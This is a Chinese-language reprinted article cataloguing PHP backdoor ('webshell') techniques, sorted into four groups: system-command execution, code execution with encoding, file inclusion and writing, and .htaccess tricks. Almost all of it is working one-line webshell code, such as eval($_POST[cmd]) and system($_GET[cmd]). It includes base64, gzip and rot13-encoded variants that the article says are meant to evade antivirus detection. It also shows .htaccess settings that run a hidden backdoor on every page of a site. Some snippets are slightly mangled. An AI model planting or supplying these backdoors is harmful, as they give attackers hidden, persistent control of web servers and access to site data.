php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?

php后门木马常用的函数大致上可分为四种类型:

1.执行系统命令:system,passthru,shell_exec,exec,popen,proc_open

2.代码执行与加密:eval,assert,call_user_func,base64_decode,gzinflate,gzuncompress,gzdecode,str_rot13

3.文件包含与生成:require,require_once,include,include_once,file_get_contents,file_put_contents,fputs,fwrite

4..htaccess:SetHandler,auto_prepend_file,auto_append_file

1.执行系统命令:

system函数

//test.php?cmd=ls

system($_GET[cmd]);

passthru函数

//test.php?cmd=ls

passthru($_GET[cmd]);

shell_exec函数

//test.php?cmd=ls

echoshell_exec($_GET[cmd]);

exec函数

//test.php?cmd=ls

$arr=array();

exec($_GET[cmd],$arr);

print_r($arr);

popen函数

//test.php?cmd=ls

$handle=popen('$_GET[cmd],'r');

$read=fread($handle,2096);

echo $read;

pclose($handle);

proc_open函数

//test.php?cmd=ls

$descriptorspec=array(

0=>array('pipe','r'),

1=>array('pipe','w'),

2=>array('pipe','w'),

);

$proc=@proc_open($_GET[cmd],$descriptorspec,$pipes);

fclose($pipes[0]);

$output=array();

while(!feof($pipes[1]))array_push($output,rtrim(fgets($pipes[1],1024),”\n”));

print_r($output);

2.代码执行与加密:

eval函数

//最常见的一句话木马

eval($_POST[cmd]);

base64_decode函数

//为了免杀及隐藏而加密代码

//密文:eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate函数

//为了免杀及隐藏而加密代码

//密文:eval($_POST['cmd']);

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress函数

//为了免杀及隐藏而加密代码

//密文:eval($_POST['cmd']);

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode函数

//为了免杀及隐藏而加密代码

//密文:eval($_POST['cmd']);

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13函数

//为了免杀及隐藏而加密代码

//密文:eval($_POST[cmd]);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert函数

//类似eval函数

assert($_POST[cmd]);

call_user_func函数

//使用call_user_func调用assert

call_user_func('assert',$_POST[cmd]);

call_user_func函数

//使用call_user_func调用任意函数

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数

//test.php?a=assert&cmd=phpinfo()

$_GET[a]($_REQUEST[cmd]);

3.文件包含与生成:

require函数

//包含任意文件

//test.php?file=123.jpg

require($_GET[file]);

require_once函数

//包含任意文件

//test.php?file=123.jpg

require_once($_GET[file]);

include函数

//包含任意文件

//test.php?file=123.jpg

include($_GET[file]);

include_once函数

//包含任意文件

//test.php?file=123.jpg

include_once($_GET[file]);

file_get_contents函数

//读取任意文件

//test.php?f=config.inc.php

echofile_get_contents($_GET['f']);

file_put_contents函数

//生成任意内容文件

//a=test.php&b=

file_put_contents($_GET[a],$_GET[b]);

fputs函数

//生成任意内容文件

//a=test.php&b=

fputs(fopen($_GET[a],”w”),$_GET[b]);

4..htaccess:

SetHandler

//可将php代码存于非php后缀文件,例:x.jpg

//将以下代码写入.htaccess中

//连接x.jpg即可启动后门木马

SetHandlerapplication/x-httpd-php

</FilesMatch>

auto_prepend_file

//可将php代码存于非php后缀文件,例:123.gif

//将以下代码写入.htaccess中,文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

php_valueauto_prepend_filec:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file

//可将php代码存于非php后缀文件,例:123.gif

//将以下代码写入.htaccess中,文件路径必须是绝对路径

//访问网站上任何php文件都会启动该php后门木马

php_valueauto_append_filec:/apache2/htdocs/123.gif
 

原文转自:http://www.nxadmin.com/system/507.html